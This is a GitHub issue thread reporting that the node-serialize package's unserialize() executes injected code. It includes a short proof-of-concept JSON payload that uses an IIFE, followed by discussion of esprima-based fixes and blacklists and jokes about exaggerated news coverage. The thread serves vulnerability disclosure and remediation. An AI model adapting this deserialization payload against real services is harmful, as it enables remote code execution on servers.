luin / serialize

Serialize an object including it's function into a JSON.
MIT License
79 stars 14 forks source link

Unserialize() can be abused to achieve arbitrary code injection with an IIFE #4

Open ajinabraham opened 7 years ago

ajinabraham commented 7 years ago
var serialize = require('node-serialize');
var x = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}'
serialize.unserialize(x);

I don't know if this is a functionality as you are using eval() internally, but the module should not execute code on deserialization.

luin commented 7 years ago

Hi @ajinabraham, thank your for bring this issue up! Since we're using eval() internally, the security issues are impossible to be avoided. Even if we replace eval to new Function, the hackers are still able to inject arbitrary code into the function body (though the code won't be executed on deserialization) if they have the permission to modify the strings.

The only way to avoid the security holes is to make sure that the strings cannot be modified by the untrusted thrid-parties. I add a security warning to the README to address this.

Feel free to let me know if you have any other thoughts on this issue.

loki951753 commented 7 years ago

被一些安全机构通告了。。。。

fengmk2 commented 7 years ago

根据CNVD秘书处初步普查结果,受该漏洞影响的网站服务器有可能超过70万台,后续CNVD将进一步进行漏洞实际威胁影响的精确评估,做好境内用户的应急响应工作。

现在国内的技术新闻,真的好假。。。如果这个模块真的这么大规模被使用, star 怎么可能这么低。。。

luin commented 7 years ago

@fengmk2 哈哈哈,动不动就想搞个大新闻

island205 commented 7 years ago

@fengmk2 动不动就想搞个大新闻

chinesedfan commented 7 years ago

看到star只有20的时候,我都以为进错了项目。 ——被假新闻吸引而来的吃瓜群众

matt- commented 7 years ago

I was playing with an idea at: https://github.com/matt-/serialize/commit/990674b944c06074ebe2bcebca8bcac7e3407ee7

It validates with esprima to make sure the value is a FunctionExpression not a CallExpression.

luin commented 7 years ago

@ChiChou 是的,这事和 IIFE 没关系。只要不做输入校验,即使是合法的函数表达式也照样可以 console.log('exploited')

AntSworD commented 7 years ago

Some media of China said "May have more then 700000 servers were been infected by this issue". Big news

htoooth commented 7 years ago

这真是个大新间!!!

ajinabraham commented 7 years ago

@AntSworD Media always bullshits!

jiangzhuo commented 7 years ago

我们年会抽奖的程序也是用的这种方式,不过当时没注意到这个库,要不可以做的更隐蔽一些

ajinabraham commented 7 years ago

@matt- @luin serialize-to-js has added a similar fix with esprima:

https://github.com/commenthol/serialize-to-js/commit/1cd433960e5b9db4c0b537afb28366198a319429#diff-e7dae32b4b6750909b222cf0d70f6575

https://github.com/commenthol/serialize-to-js/blob/master/lib/internal/sanitize.js

matt- commented 7 years ago

My last comment (and exploit example) in that one is with the esprima changes in place... that on just evals the entire string.. It will be super hard for them to secure that one in any way.

ajinabraham commented 7 years ago

I haven't checked that code. But yes, this blacklist: https://github.com/commenthol/serialize-to-js/blob/1cd433960e5b9db4c0b537afb28366198a319429/lib/internal/sanitize.js#L6 is definitely not going to solve the issue.

ACMENEWS commented 7 years ago

AVOID node-serialize at ALL costs.

4volver commented 3 months ago

Why the name is "_$$ND_FUNC$$_function" ? and why there are parentheses at the end of the closing curly bracket?